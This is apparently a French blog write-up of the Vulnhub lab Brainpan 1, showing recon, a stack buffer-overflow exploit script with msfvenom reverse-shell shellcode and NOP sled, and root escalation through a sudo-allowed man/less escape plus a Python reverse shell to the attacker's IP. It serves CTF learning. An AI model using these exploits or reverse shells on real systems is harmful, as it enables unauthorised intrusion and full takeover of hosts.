Skip to content

Vulnhub : Brainpan – Solution

On se retrouve pour une solution de machine virtuelle vulnérable trouvée sur Vulnhub : Brainpan.

Pour faire court, nous allons dans cet article parler de buffer overflow et d’élévation de privilège Linux via sudo. Il s’agit de l’un de mes premiers cas « concrets » d’exploitation de buffer overflow, les vulnérabilités applicatives ont toujours été mon point faible. Ce sera l’occasion pour moi de détailler ce type de vulnérabilité, mais il risque d’y avoir quelques approximations 🙂

Découverte et reconnaissance

On commence donc par la classique phase de balayage réseau (ou scan) qui nous permettra de voir les ports ouverts sur la cible :

==== nmap ====
root@kali:~# nmap --max-retries 1 -T4 -sS -A 192.168.1.36 -p- --open
Starting Nmap 7.60 ( https://nmap.org ) at 2018-07-22 11:33 CEST
Nmap scan report for 192.168.1.36
Host is up (0.00068s latency).
Not shown: 65533 closed ports
PORT STATE SERVICE VERSION
**9999/tcp open abyss?**
| fingerprint-strings:
| NULL:
| _| _|
| _|_|_| _| _|_| _|_|_| _|_|_| _|_|_| _|_|_| _|_|_|
| _|_| _| _| _| _| _| _| _| _| _| _| _|
| _|_|_| _| _|_|_| _| _| _| _|_|_| _|_|_| _| _|
| [________________________ WELCOME TO BRAINPAN _________________________]
|_ ENTER THE PASSWORD
**10000/tcp open http SimpleHTTPServer 0.6 (Python 2.7.3)**

Ils sont peu nombreux, seulement deux ports ouverts. L’un d’entre eux nous répond par une demande de mot de passe et est accessible via telnet, l’autre semble être un service web basique. Je décide d’utiliser dirb pour énumérer les répertoires sur ce service web :

root@kali:/opt/# dirb http://192.168.1.36:10000
---- Scanning URL: http://192.168.1.36:10000/ ----
+ http://192.168.1.36:10000/bin (CODE:301|SIZE:0)
+ http://192.168.1.36:10000/index.html (CODE:200|SIZE:215)
--------------------
END_TIME: Sun Jul 22 11:37:12 2018
DOWNLOADED: 4612 - FOUND: 2

Pas grand chose à nouveau, seul un répertoire /bin/ semble être présent en plus de la page d’accueil. Regardons ce qu’il contient :

root@kali:/usr/share/wordlists/dirb# curl http://192.168.1.36:10000/bin/

Et voici le contenu de ce répertoire :
Tiens, un fichier exécutable .exe. J’ai pourtant la certitude qu’il s’agit d’un hôte Linux. En me rendant sur le service en écoute sur le port TCP/9999, je remarque qu’un mot de passe m’est demandé. Je test quelques mots de passe basiques sans succès :
Je décide ensuite de télécharger et d’exécuter brainpan.exe depuis le service web. J’utilise dans un premier temps wine, qui me permet de l’exécuter sous Linux. Je dispose donc en local de l’application que j’ai à exploiter de façon distante sur la machine virtuelle. Cela me permet de faire différents tests afin de voir comment réagit l’application, un premier essai avec une connexion au port TCP/9999 sur ma propre machine et la soumission d’un mot de passe :
Je vois (à gauche) que l’application réceptionne mon mot de passe puis le copie dans un buffer.

Exploitation d’un buffer overflow

L’exercice s’oriente donc vers l’exploitation de cet exécutable. Il s’agit là de mon point faible au niveau sécurité, j’avance donc pas à pas et sans grande connaissance dans le domaine. A nouveau, excusez les approximations dans mes explications :p

Je décide dans un premier temps de soumettre un mot de passe très long pour voir comment l’application réagit, par exemple un mot de passe de 800 caractères  :
L’application crash complètement, wine m’affiche alors une ensemble d’informations relatives au plantage de l’application. Je vois notamment le contenu de la pile mémoire (Stack dump) qui contient un ensemble de 41, qui est la valeur hexadécimale du caractère A, vous verrez cela notamment dans un tableau ASCII (colonne Hx) :

Également, le contenu des registres EIP et EBP contiennent des 41, il semble donc que mon entrée utilisateur a réécrit une partie des registres. On s’oriente donc vers un buffer overflow.

Sans me perdre dans des explications détaillées sur ce type de vulnérabilité que je connais assez peu, si vous souhaitez des explications d’un meilleur niveau (que je suis pour l’instant incapable de produire), je vous conseille l’excellente suite d’articles d’0x0ff, en français s’il vous plait :

J’ai donc besoin, pour exploiter cette vulnérabilité, de voir en détail le fonctionnement et les réactions de l’exécutable en fonction de mes entrées utilisateur. Deux méthodes d’exécution de celui-ci sont réalisables :

  • avec wine pour exécuter brainpan.exe, auquel cas on pourra communiquer avec le socket sur localhost:9999 ;
  • avec un débogueur sous Windows, afin de suivre plus facilement le contenu des registres, de la pile, etc.

Je télécharge donc, sur une machine Windows, le débogueur x64dbg, et ouvre l’exécutable brainpan.exe avec :
L’objectif d’un buffer overflow est de faire exécuter à l’application des instructions sous notre contrôle, profitant ainsi des droits de l’application (entre autres). Pour cela, on profite d’une mauvaise gestion de l’espace mémoire dédié à des variables où sont stockées des entrées utilisateurs, notamment en envoyant des données qui seront stockées dans un buffer (tampon) trop petit pour les données envoyées. Les données envoyées vont donc dépasser de leur tampon (buffer overflow) et écraser d’autres données dans la pile. Mes premiers objectifs sont donc les suivants :

  • savoir quelle est la taille du buffer allouée à mon entrée utilisateur, et donc à partir de combien de caractères (ou octets) le programme commence à écrire dans les registres ;
  • savoir quels sont les registres écrasés, et par quoi.

J’ai pour cela rédigé un script qui se charge uniquement d’envoyer des données au programme distant. il commence par envoyer un A, puis deux, etc. Lorsqu’il détecte que l’application distante ne répond plus, c’est que le crash a eu lieu et donc que la taille maximale du buffer a été atteinte :

root@kali:/tmp# python remoteSocketFuzzing.py localhost 9999 530 1
Fuzzing localhost:9999 with max 530 "A" and 1 incrementation
Sending buffer with length: 1
Sending buffer with length: 2
Sending buffer with length: 3
Sending buffer with length: 4
[...]
Sending buffer with length: 518
Sending buffer with length: 519
Sending buffer with length: 520
[+] Crash occured with buffer length: 521
[+] Payload will looks like [A*520 + EIP + Shellcode]

J’indique à mon script l’IP et le port cible, le nombre maximum de test à faire et l’incrémentation (de combien j’augmente la taille des données envoyées entre chaque essai). Je détecte ainsi que le programme plante lorsque j’envoie 521 caractères ou plus.

Je procède ensuite à une ouverture avec x64dbg ( x32dbg en l’occurrence) sous Windows et refait ce même test manuellement. Je commence par générer ma charge utile (ou payload) en python :

python -c "print('A'*520+'BCDE'+'FGHI')"

Puis je l’envoi au brainpan.exe exécuté par mon débogueur. Je constate alors la chose suivante :

  • le programme a planté;
  • le contenu du registre EBP est 45444342 (soit « EDCB »);
  • le contenu du registre EIP est 49484746 (soit « IHGF »).

Voyez plutôt :
Il semble donc que j’ai à nouveau fait planter le programme, et que je suis parvenu à écraser le contenu de deux registres, dont le registre EIP.  Celui si contient notamment l’adresse de retour, c’est à dire l’adresse mémoire de la prochaine instruction qui sera lue et exécutée par le système. Cela donne donc la possibilité de contrôler l’adresse de retour, donc le flux d’exécution du programme. Il serait à présent intéressant que je puisse injecter mon code malveillant dans la mémoire du programme et, grâce au contrôle de l’EIP, que je puisse rediriger le flux d’exécution vers ce code malveillant.

Maintenant que nous contrôlons le contenu de ce registre, nous pouvons envoyer le programme vers n’importe quel offset (adresse mémoire). Le problème est qu’aucune instruction n’est sous notre contrôle pour le moment, on ne peut pas dire à l’exécutable de faire exactement ce que l’on souhaite. Il faut donc que l’on puisse lui envoyer un payload (charge utile) contenant notre « code malveillant ».

Pour le moment, on ne sait pas où va atterrir notre payload. Il faut donc envoyer plus de données et voir où celles-ci vont arriver (dans quel registre). J’utilise pour cela un payload encore plus long, généré grâce à python :

python -c "print('A'*524+'FGHI'+'C'+'B'*100)"

Ce payload, contenant notamment un « C » puis « BBB ».. permet de voir si la chaine envoyée après « FGHI » commence bien où on le pense, donc par « C », puis « BBB ». A l’envoi de cette chaine, on constate que la pile contient alors « CBBBBBBB… ». On est donc sur le bon chemin :

Il faut maintenant trouver, dans le programme, l’offset d’une instruction JMP ESP pour faire pointer le registre EIP vers cet offset. Etant donné que l’on va mettre notre shellcode dans la pile, celui-ci sera exécuté. L’instruction JMP ESP ordonne au programme d’accéder à l’offset indiqué dans le registre ESP. Et c’est pile là qu’atterrira notre shellcode comme on peut le voir dans l’image ci-dessus. Pour information :

  • EIP : Extended Instruction pointer
  • ESP : Extended Stack pointer

L’instruction à rechercher est ffe4 (« traduction » hexadécimal de « JMP ESP »), on peut le savoir grâce au petit programme /usr/share/metasploit-framework/tools/exploit/nasm_shell.rb :

root@kali:/usr/share/metasploit-framework/tools/exploit# ./nasm_shell.rb
nasm > jmp esp
00000000 FFE4 jmp esp

On peut alors utiliser ROPGadget (https://github.com/JonathanSalwan/ROPgadget) qui permet, entre autres, de rechercher des instructions spécifiques dans un binaire :

root@kali:/opt/ROPgadget# python ROPgadget.py --binary /root/Downloads/brainpan.exe --opcode "ffe4"
Opcodes information
============================================================
0x311712f3 : ffe4

On sait maintenant qu’une instruction JMP ESP se trouve à l’offset 0x311712f3, il faut donc ordonner au programme, via le contrôle de l’EIP dont on dispose, de sauter à cet offset. A partir de maintenant, il est nécessaire de passer par un script python pour l’envoi des données car l’offset a écrire dans l’EIP n’est pas composé de caractères imprimables. J’utilise pour cela le script suivant :

#!/usr/bin/python
import sys,socket
target = "192.168.1.36"
port = 9999
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target, port))
s.recv(1024)
buf = "A"*524
EIP = "\xf3\x12\x17\x31"
shellcode = ""
payload = buf + EIP + shellcode
# Send payload
print "[-] Sending payload.... ",
s.send(payload)
print "Done"

Je peux grâce à celui-ci décomposer le contenu de ma charge utile (buffer, EIP, shellcode). Premier essai avec ces informations :

buf = "A"*524
EIP = "\x31\x17\x12\xf3"
shellcode = "B"*100
payload = buf + EIP + shellcode

Au niveau de x32dbg, j’observe que le registre EIP contient F31121731, il faut donc renseigner les valeurs hexadécimal dans le sens inverse. Il s’agit des subtilités du Little Endian et Big Endian  (voir Endianness):

buf = "A"*524
EIP = "\xf3\x12\x17\x31"
shellcode = "B"*100
payload = buf + EIP + shellcode

Cette fois-ci aucun plantage. On produit notre shellcode et on l’inclut dans notre payload final. Celui-ci doit exécuter un reverse shell qui viendra se connecter tout droit sur ma machine :

msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.34 LPORT=443 -e x86/shikata_ga_nai -b '\x00' -f python
buf = "A"*524
EIP = "\xf3\x12\x17\x31"
shellcode += "\xdb\xd2\xbf\xb4\x0f\xeb\x55\xd9\x74\x24\xf4\x5a\x29"
shellcode += "\xc9\xb1\x52\x83\xc2\x04\x31\x7a\x13\x03\xce\x1c\x09"
[...]
shellcode += "\x30\xc9\xb4\xc3\x5d\xea\x63\x07\x58\x69\x81\xf8\x9f"
shellcode += "\x71\xe0\xfd\xe4\x35\x19\x8c\x75\xd0\x1d\x23\x75\xf1"
payload = buf + EIP + shellcode

Je me met en écoute sur ma machine d’attaque et j’exécute le tout, aucun retour.

Après quelques recherches et lecture de plusieurs articles, j’apprends l’existence du NOP Sled, un ensemble d’instructions NOP qui permet de créer une « plage » dans laquelle viser afin que le programme « glisse » jusqu’au shellcode. Il permet de pallier aux légères variations de position des instructions en mémoire d’une exécution à une autre (d’après ce que j’ai compris) :

buf = "A"*524
EIP = "\xf3\x12\x17\x31"
shellcode = "\x90" * 48
shellcode += "\xdb\xd2\xbf\xb4\x0f\xeb\x55\xd9\x74\x24\xf4\x5a\x29"
shellcode += "\xc9\xb1\x52\x83\xc2\x04\x31\x7a\x13\x03\xce\x1c\x09"
[...]"
shellcode += "\x71\xe0\xfd\xe4\x35\x19\x8c\x75\xd0\x1d\x23\x75\xf1"

Je me met à nouveau en écoute :

nc -lvp 443

J’exécute le tout, et miracle, un shell apparaît. J’ai réussi à exploiter le programme en local. Je doit à présent faire la même chose avec le programme disant en écoute sur le VM cible. Je génère donc le même shellcode pour Linux :

msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.1.34 LPORT=443 -e x86/shikata_ga_nai -b '\x00' -f python

Même opération, je me met en écoute, j’exécute, et j’obtiens un shell sur la machine :

root@kali:/tmp# nc -lvp 443
listening on [any] 443 ...
192.168.1.36: inverse host lookup failed: Unknown host
connect to [192.168.1.34] from (UNKNOWN) [192.168.1.36] 52952
whoami
puck
ls
checksrv.sh
web
ls -ak

Je suis visiblement connecté avec les droits de l’utilisateur puck. Passons à la post-exploitation.

Élévation de privilège

J’utilise l’astuce suivante pour avoir un shell dans une meilleur forme :

python -c 'import pty; pty.spawn("/bin/bash")'

Parmi les nombreuses commandes de reconnaissance dans cette phase de post-exploitation, je regarde les « dérogations » qui me sont accordées via sudo :

puck@brainpan:/home$ sudo -l
sudo -l
Matching Defaults entries for puck on this host:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User puck may run the following commands on this host:
(root) NOPASSWD: /home/anansi/bin/anansi_util

L’exécution d’un script nous est accordée avec les droits de l’utilisateur root. On s’aperçoit lors de son exécution qu’il possède plusieurs « options » :

puck@brainpan:/home/puck$ sudo /home/anansi/bin/anansi_util
sudo /home/anansi/bin/anansi_util
Usage: /home/anansi/bin/anansi_util [action]
Where [action] is one of:
- network
- proclist
- manual [command]

La commande manual permet d’ouvrir la page man d’une commande et utilise elle même pour cela la commande less :

puck@brainpan:/home/puck$ sudo /home/anansi/bin/anansi_util manual ls
sudo /home/anansi/bin/anansi_util manual ls
No manual entry for manual
WARNING: terminal is not fully functional
- (press RETURN)
LS(1) User Commands LS(1)
[...]
:h
SUMMARY OF LESS COMMANDS
Commands marked with * may be preceded by a number, N.
Notes in parentheses indicate the behavior if N is given.
[...]

En cherchant un peu, je trouve une astuce pour exécuter une commande avec less, étant donné que je l’exécute via sudo, je peut donc exécuter des commandes en tant que root. Par exemple :

(press RETURN)!whoami
!whoami
root

Je me met donc en écoute sur mon poste d’attaque :

nc -lvp 1234

Et j’exécute la commande suivante :

python -c 'import socket,subprocess,os; s=socket.socket(socket.AF_INET, socket.SOCK_STREAM); s.connect(("192.168.1.34",1234)); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); p=subprocess.call(["/bin/sh","-i"]);'

Et voila  !

root@kali:/tmp# nc -lvp 1234
listening on [any] 1234 ...
192.168.1.36: inverse host lookup failed: Unknown host
connect to [192.168.1.34] from (UNKNOWN) [192.168.1.36] 34604
# python -c 'import pty; pty.spawn("/bin/bash")'
root@brainpan:/usr/share/man# whoami
whoami
root

Points à retenir

  • Je me garderais pour l’instant de vous donner des recommandations sur comment se protéger des buffers overflow. Je sais néanmoins que des protections au niveau des binaires sont à préciser lors de sa compilation. Les articles d’0x0ff recommandent notamment les suivants :
Source : https://www.0x0ff.info/2015/buffer-overflow-gdb-part1/
  • Concernant les droits sudo, ceux-ci sont à attribuer avec la plus grande prudence, notamment lorsqu’il s’agit de script développés, qui n’ont donc pas définition pas été éprouvé au niveau sécurité. Dans le cas où leur flux d’exécution peut être détourné, il est aisé pour un attaquant d’en profiter pour élever ses propres privilèges. Côté attaquant, dans un contexte réel, il est fréquent de tomber sur des droits sudo trop permissifs ou de profiter d’une commande pour élever ses privilèges. Ayez donc le réflexe d’exécuter la commande « sudo -l » durant vos phases de post-exploitation afin de lister les dérogations qui vous sont accordées via sudo. Ayez également un mémo dans un coin qui référence les techniques de sudo escape les plus connues :). La meilleur ressource pour cela est le site suivant : https://gtfobins.github.io/
Partager :
Published inChallenges et CTFs

4 Comments

  1. Gudbes

    Bonjour,
    je voulais juste savoir s’il s’agit de la VM brainpan en version 1, 2 ou 3 pour que je puisse suivre correctement cet articles.

    • Ogma-sec

      Bonjour,
      Il s’agit de la VM Brainpan 1.

      • Gudbes

        Merci 👍

Laisser un commentaire

Votre adresse de messagerie ne sera pas publiée. Les champs obligatoires sont indiqués avec *